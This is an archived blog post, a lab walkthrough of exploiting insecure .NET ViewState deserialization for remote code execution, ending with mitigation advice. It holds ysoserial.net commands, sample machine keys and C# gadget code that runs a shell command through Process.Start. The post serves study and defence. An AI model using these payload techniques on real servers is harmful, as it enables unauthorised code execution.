

Deep Dive into .NET ViewState deserialization and its exploitation

Deep Dive into .NET ViewState deserialization and its exploitation - Swapneil Kumar Dash, Medium.

- Published: 2019-10-22
- Original: <https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817>
- Preserved from: <https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817> (preserved-copy) on 2026-08-04
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Programming

Aspnet

Deserialization

Penetration Testing

Remote Code Execution

Deep Dive into .NET ViewState deserialization and its exploitation

[

[\[image: Swapneil Kumar Dash\]](#)

](https://swapneildash.medium.com/?source=post_page---byline--54bf5b788817-----
-----)

[Swapneil Kumar Dash](#)

13 min readOct 22, 2019

[

](https://medium.com/m/signin?
actionUrl=https%3A%2F%2Fmedium.com%2F_%2Fvote%2Fp%2F54bf5b788817&operatio
n=register&redirect=https%3A%2F%2Fswapneildash.medium.com%2Fdeep-dive-into-net-

viewstate-deserialization-and-its-exploitation-

54bf5b788817&user=Swapneil+Kumar+Dash&userId=c11be821da1e&source=---

header_actions--54bf5b788817-----clap_footer-----)

--

[

](https://medium.com/m/signin?

actionUrl=https%3A%2F%2Fmedium.com%2F_%2Fepost%2Fp%2F54bf5b788817&operation=register&redirect=https%3A%2F%2Fswapneildash.medium.com%2Fdeep-dive-into-net-viewstate-deserialization-and-its-exploitation-

54bf5b788817&user=Swapneil+Kumar+Dash&userId=c11be821da1e&source=---

header_actions--54bf5b788817-----repost_header-----)

[

Listen

](https://medium.com/m/signin?

actionUrl=https%3A%2F%2Fmedium.com%2Fplans%3Fdimension%3Dpost_audio_button%26postId%3D54bf5b788817&operation=register&redirect=https%3A%2F%2Fswapneildash.medium.com%2Fdeep-dive-into-net-viewstate-deserialization-and-its-exploitation-

54bf5b788817&source=---header_actions--54bf5b788817-----

post_audio_button-----)

Share

Hi All,

Welcome to the new blog post on .NET ViewState deserialization. I would like to thank [Subodh Pandey](#) for contributing to this blog post and the study without which I could not have had an in-depth insight on this topic.

Before getting started with ViewState deserialization, let's go through some key terms associated with ViewState and its exploitation.

ViewState: According to TutorialsPoint:

The view state is the state of the page and all its controls. It is automatically maintained across posts by the ASP.NET framework. When a page is sent back to the client, the changes in the properties of the page and its controls are determined, and stored in the value of a hidden input field named `_VIEWSTATE`. When the page is again posted back, the `_VIEWSTATE` field is sent to the server with the HTTP request.

EventValidation:

Event validation checks the incoming values in a POST request to ensure the values are known, good values. If the runtime sees a value it doesn't know about, it throws an exception. This parameter also contains serialized data.

An [example](#).

ViewStateUserKey:

Is a page-specific identifier for a user and is used to defend against CSRF attacks. This can be set as:

```
void Page_Init (object sender, EventArgs e)
{
    ViewStateUserKey = Session.SessionID;
}
```

An [example](#).

****Formatters:** **Formatters are used for converting data from one form to another. e.g. a BinaryFormatter serializes and deserializes an object, or an entire graph of connected objects, in binary format.

****Gadgets:** **Classes that may allow execution of code when an untrusted data is processed by them. Some examples for .NET are: PSObject, TextFormattingRunProperties and TypeConfuseDelegate.

How ViewState is used?

The ViewState is basically generated by the server and is sent back to the client in the form of a hidden form field “_VIEWSTATE” for “POST” action requests. The client then sends it to the server when the POST action is performed from the web applications.

The ViewState is in the form of a serialized data which gets deserialized when sent to the server during a postback action. ASP.NET has various serializing and deserializing libraries known as formatters, which serializes and deserializes objects to byte-stream and vice-versa like ObjectStateFormatter, LOSFormatter, BinaryFormatter etc.

ASP.NET makes use of LosFormatter to serialize the viewstate and send it to the client as the hidden form field. Once the serialized viewstate is sent back to the server during a POST request, it gets deserialized using ObjectStateFormatter.

In order to make ViewState tamper free there are options to even make ViewState MAC enabled due to which an integrity check would be performed on the ViewState value during deserialization by setting the value

<page enableViewStateMac="true" /> in the web.config file. There are various hashing algorithms that can be chosen from, to enable MAC (Message Authentication Code) in ViewState.

ASP.Net also provides options to encrypt the ViewState by setting the value

<page ViewStateEncryptionMode="Always"/> in the web.config file.

One can choose from different encryption / validation algorithms to be used with the ViewState.

IIS manager configuration for setting Encryption and Validation algorithms

With the help of an example, let's see how serialization and deserialization works in .NET (similar to how it works for ViewState).

Here, we have created a single page web application which will simply accept user input in a text area and display it on the same page on a button click.

We wrote a sample code to create a serialized input using LOSFormatter when the application loads. This serialized data is then saved into a file. When the *GO *button is clicked in the application, this data is read back from the file and then deserialized with the help of ObjectStateFormatter.

Front-end code:

Test.aspx

```
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="TestComment.aspx.cs"
Inherits="TestComment" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" Text="GO" />
<br />
<br />
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
```

Back-end Code:

Test.aspx.cs

```

using System;
using System.Collections.Generic;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;public partial class TestComment : System.Web.UI.Page
{protected void Page_Load(object sender, EventArgs e)
{**String cmd = "echo 123 > c:\\windows\\temp\\test.txt";
**Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd");
set.Add("/c " + cmd);FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)invoke_list[1] = new
Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);MemoryStream stream = new MemoryStream();
Stream stream1 = new FileStream("C:\\Windows\\Temp\\serialnet.txt", FileMode.Create,
FileAccess.Write);//Serialization using LOSFormatter starts here
//The serialized output is base64 encoded which cannot be directly fed to
ObjectStateFormatter for deserialization hence requires base64 decoding before
deserialization LosFormatter los = new LosFormatter();
los.Serialize(stream1, set);
stream1.Close();
}protected void Button1_Click(object sender, EventArgs e)
{string serialized_data = File.ReadAllText(@"C:\Windows\Temp\serialnet.txt");//Base64
decode the serialized data before deserialization
byte[] bytes = Convert.FromBase64String(serialized_data);//Deserialization using
ObjectStateFormatter starts here
ObjectStateFormatter osf = new ObjectStateFormatter();
string test = osf.Deserialize(Convert.ToBase64String(bytes)).ToString();
}
}

```

Now, let's see the execution of the code at runtime. As soon as the web page is loaded, the code gets executed and a file named **serialnet.txt** is created in "C:\Windows\temp" folder with the serialized** **data which performs the action as highlighted in the code below:

```
**String cmd = "echo 123 > c:\\windows\\temp\\test.txt";**
```

Below is the content of the file after the application loads:

Serialized data from LosFormatter

Once we click the *Go* button, the command supplied gets executed with the help of the **TypeConfuseDelegate *gadget*. Below we can see that the ***test.txt ***file has been created in the Temp directory:

File test.txt gets created with content "123"

This is a simple simulation showcasing how the ViewState Serialization and deserialization would work in a web application during postback action. This also helps to establish the fact that untrusted data should not be deserialized.

Now that we have covered the basics of ViewState and its working, let's shift our focus towards the insecure deserialization of the ViewState and how this can lead to remote code execution.

For better understanding, we will understand various test cases and look at each one of them practically.

For purpose of generating payloads for demonstrating insecure deserialization we are going to use ysoserial.net for all the test cases.

CASE 1: Target framework ≤4.0 (ViewState Mac is disabled):

It is also possible to disable the ViewState MAC completely by setting the

`AspNetEnforceViewStateMac` registry key to zero in:

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ .NETFramework\v{VersionHere}
```

as shown below:

ViewState MAC disable from registry key

Now, once this is done we will go for the exploitation phase. For purpose of this demo we are using below front-end and back-end code:

Front End Code:

```

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello"
%>
<!DOCTYPE html>
<html xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)">
<head runat="server">
  <title></title>
</head>
<body>
  <form id="form1" runat="server">
    <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
    <asp:Button ID="Button1" runat="server" > Text="GO" class="btn"/>
    <br />
    <asp:Label ID="Label1" runat="server"></asp:Label>
  </form>
</body>
</html>

```

Back-end Code:

```

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO; public partial class hello : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
    }

    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

```

We hosted the application in IIS and intercepted the application traffic using burp suite:

Intercepting application traffic

MAC disabled for ViewState

It can be observed in the above screenshot that after making changes in the registry key the ViewState MAC has been disabled.

Now, we can create a serialized payload using ysoserial.net as shown below:

Ysoserial payload generation

The command used above to generate the payload is:

```
ysoserial.exe -o base64 -g TypeConfuseDelegate  
-f ObjectStateFormatter -c "echo 123 > C:\Windows\temp\test.txt" >  
payload_when_mac_disabled
```

Using the above generated payload in the ViewState parameter and using it in the HTTP POST request, we can observe the payload getting executed as below:

ViewState parameter value replaced with ysoserial payload

File test.txt gets created with content "123"

CASE 2: When ViewState is removed from the HTTP request:

In this case study we will cover the scenario where developers try to remove ViewState from becoming part of an HTTP Request. For purpose of demonstration we have reused the above front-end code from the above example and modified the back-end code as:

Back-end code:

```

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO; **public class BasePage : System.Web.UI.Page
{
    protected override void Render(HtmlTextWriter writer)
    {
        StringBuilder sb = new StringBuilder();
        StringWriter sw = new StringWriter(sb);
        HtmlTextWriter hWriter = new HtmlTextWriter(sw);
        base.Render(hWriter);
        string html = sb.ToString();
        html = Regex.Replace(html, "<input[^>]*id=\"(__VIEWSTATE)\"[^>]*>", string.Empty,
        RegexOptions.IgnoreCase);
        writer.Write(html);
    }
} **
public partial class hello : **BasePage**
{
    protected void Page_Load(object sender, EventArgs e)
    {}

    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

```

Once we host this on IIS, we will observe that the POST requests do not send ViewState parameter anymore.

No ViewState parameter in HTTP POST request

One may assume that if ViewState is not present, their implementation is secure from any potential vulnerabilities arising with ViewState deserialization.

However, that is not the case. If we add ViewState parameter to the request body and send our serialized payload created using ysoserial, we will still be able to achieve code execution as shown in **CASE 1**.

CASE 3: Target framework ≤4.0 (ViewState Mac is enabled):

We can enable the ViewState MAC by making changes either in the specific page or the overall application.

In order to enable ViewState MAC for a specific page we need to make following changes on a specific aspx file:

```
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello"
**enableViewStateMac="True"**%>
```

We can also do it for overall application by setting it on the web.config file as shown below:

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
  <machineKey validation="SHA1"
validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A26730
8AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
  ** <pages enableViewStateMac="true" /> **
</system.web>
</configuration>
```

Now, let's say MAC has been enabled for ViewState and due to vulnerabilities like local file reads, XXE etc we get access to the web.config file with configurations like validation key and algorithm as shown above, we can make use of ysoserial.net and generate payloads by providing the validation key and algorithm as parameters.

For purpose of demo we have used a sample application with below code base and with an assumption that web.config file has been accessed by the attacker due to any file read vulnerabilities:

Front End Code:

```

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello"
%>
<!DOCTYPE html>
<html xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextAreal" TextMode="multiline" Columns="50" Rows="5"
runat="server" />
        <asp:Button ID="Button1" runat="server" >                                Text="GO" class="btn"/>
    <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>

```

Backend Code:

```

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO; public partial class hello : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
    }
    protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
    }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextAreal.Text.ToString();
    }
}

```

Web.Config:

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
  <machineKey validation="SHA1"
validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A26730
8AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
** <pages enableViewStateMac="true" />**
</system.web>
</configuration>
```

Now upon hosting this application in IIS we tried to intercept the functionality of the application using burp suite as shown below:

Intercepting the generated request

ViewState MAC enabled

Now, we can see that ViewState MAC has been enabled.

If we notice the POST request above, we can see that there isn't a `__VIEWSTATEGENERATOR` parameter in the request. In this case, we will need to provide the `*app path*` and `*path*` variables as parameters to ysoserial. However, in cases where we have `__VIEWSTATEGENERATOR` parameter in the HTTP Requests, we can directly provide its value to ysoserial for payload generation.

Let's create our payload using ysoserial.net and provide the *validation key* and *algorithm* as parameters along with **app path* and *path*.

Generating serialized payload using Ysoserial

Here, the parameter "p" stands for the plugins, "g" for gadgets, "c" for command to be run on the server, "validationkey" and "validationalg" being the value taken from the web.config.

Let's use this generated payload with the ViewState value as shown below:

ViewState replaced with ysoserial payload

We receive an error once the request is processed. However, we can see below that the payload got executed and a file test.txt with content "123" was created successfully.

File test.txt gets created after submitting the request

CASE 4: Target framework ≤ 4.0 (Encryption is enabled for ViewState)

Prior to .NET 4.5, ASP.NET can accept an unencrypted `__VIEWSTATE` parameter from the users even if `ViewStateEncryptionMode` has been set to `*Always`. ASP.NET only checks the presence of the `__VIEWSTATEENCRYPTED` parameter in the request. If one removes this parameter, and sends the unencrypted payload, it will still be processed.

CASE 5: Target framework is $\geq$.NET 4.5

We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.

```
<httpRuntime targetFramework="4.5" />
```

Target Framework in system.web

Alternatively, this can be done by specifying the below option inside the machineKey paramter of web.config file.

```
compatibilityMode="Framework45"
```

Machine key with Compatibility Mode

For ASP.NET framework ≥ 4.5 , we need to supply the *decryption algorithm* and the *decryption key* to the ysoserial payload generator as follows:

```
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 >
c:\windows\temp\test.txt" --path="/site/test.aspx/" --apppath="/directory" --
decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --
validationalg="SHA1" --
validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70
CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
```

The *path *and *apppath *parameters above can be decided with the help of a little debugging. For the sake of an example, we will be using the below code.

Front-end Code:

```
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>
<!DOCTYPE html>
<html xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5"
runat="server" />
        <asp:Button ID="Button1" runat="server" >                                Text="GO" class="btn"/>
    <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>
```

Back-end Code:

```
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO; public partial class test : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
    }
    protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
    }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}
```

When the *Go* button in the UI is clicked, the below request is sent. Note that the value of `__VIEWSTATEGENERATOR` is `***75BBA7D6` at the moment. With the help of *islegacy* and *isdebug* switch of the ysoserial payload generator, we can try to guess the values of *path* and *apppath*.

A normal request sent upon clicking *Go*

Encrypted ViewState for the above request

In the ysoserial tool, generate a payload as shown below with different values of *path* and *apppath* parameters. Once the generated value of the `__VIEWSTATEGENERATOR` matches the one present in the web application's request, we can conclude that we have the correct values.

Determining *path* and *apppath*

In the above screenshot, the second request has provided us the correct value for the `__VIEWSTATEGENERATOR` parameter. Thus, we can use the values of *path* and *apppath* for generating a valid payload. The command would be now:

```
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 >
c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --
decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationlg="SHA1" -
-
validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70
CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
```

Note that we are also required to URL encode the generated payload, to be able to use it in our example. After replacing the URL encoded value of the generated payload with the value of the __VIEWSTATE in the above shown request, our payload will execute. This can be observed below:

File test.txt gets created after submitting the request

CASE 6: ViewStateUserKey is being used

As mentioned in the starting of this article, the ViewStateUserKey property can be used to defend against a CSRF attack. If such a key has been defined in the application and we try to generate the ViewState payload with the methods discussed till now, the payload won't be processed by the application. Here, we are required to pass another parameter to the ysoserial ViewState generator as below:

```
ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState
-g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --
apppath="/" --decryptionalg="AES" --
decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationlg="SHA1" -
-
validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70
CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" **--
viewstateuserkey="randomstringdefinedintheserver"**
```

Below is the back-end code we used to demonstrate this example:

Back-end Code:

```

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO; public partial class test : System.Web.UI.Page
{
    **void Page_Init (object sender, EventArgs e)
    {
        ViewStateUserKey = "randomstringdefinedintheserver";
    }**
    protected void Page_Load(object sender, EventArgs e)
    {
    }
    protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
    }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

```

File test.txt gets created after submitting the request

What should a developer do for prevention of such an exploitation? 1. Upgrade the ASP.NET framework so that MAC validation can not be disabled. 2. ****Do not hard-code the decryption and validation keys in web.config file. Instead rely on the “Automatically generate at runtime” feature of IIS. Even if the **web.config file is compromised by any other vulnerability e.g. a local file read, attacker won’t be able to retrieve the values of keys required for creating a payload.**

Like this:

Automatically generate Validation and Decryption Key configuration

Or, Encrypt the contents of machine key so that a compromised web.config file won’t reveal the values present inside the machineKey paramter. An [example](#).

3. Regenerate any disclosed / previously compromised validation / decryption keys.

4. Do not paste a machineKey found online in your application’s web.config.

References:

- <https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/>
1. <https://github.com/pwntester/ysoserial.net>
 1. <https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/>
 1. https://www.tutorialspoint.com/asp.net/asp.net_managing_state.htm
 1. <https://odetocode.com/blogs/scott/archive/2006/03/20/asp-net-event-validation-and-invalid-callback-or-postback-argument.aspx>
 1. <https://blogs.objectsharp.com/post/2010/04/08/ViewStateUserKey-ValidateAntiForgeryToken-and-the-Security-Development-Lifecycle.aspx>

Archived from <https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817>. Rendered offline from the local Markdown copy.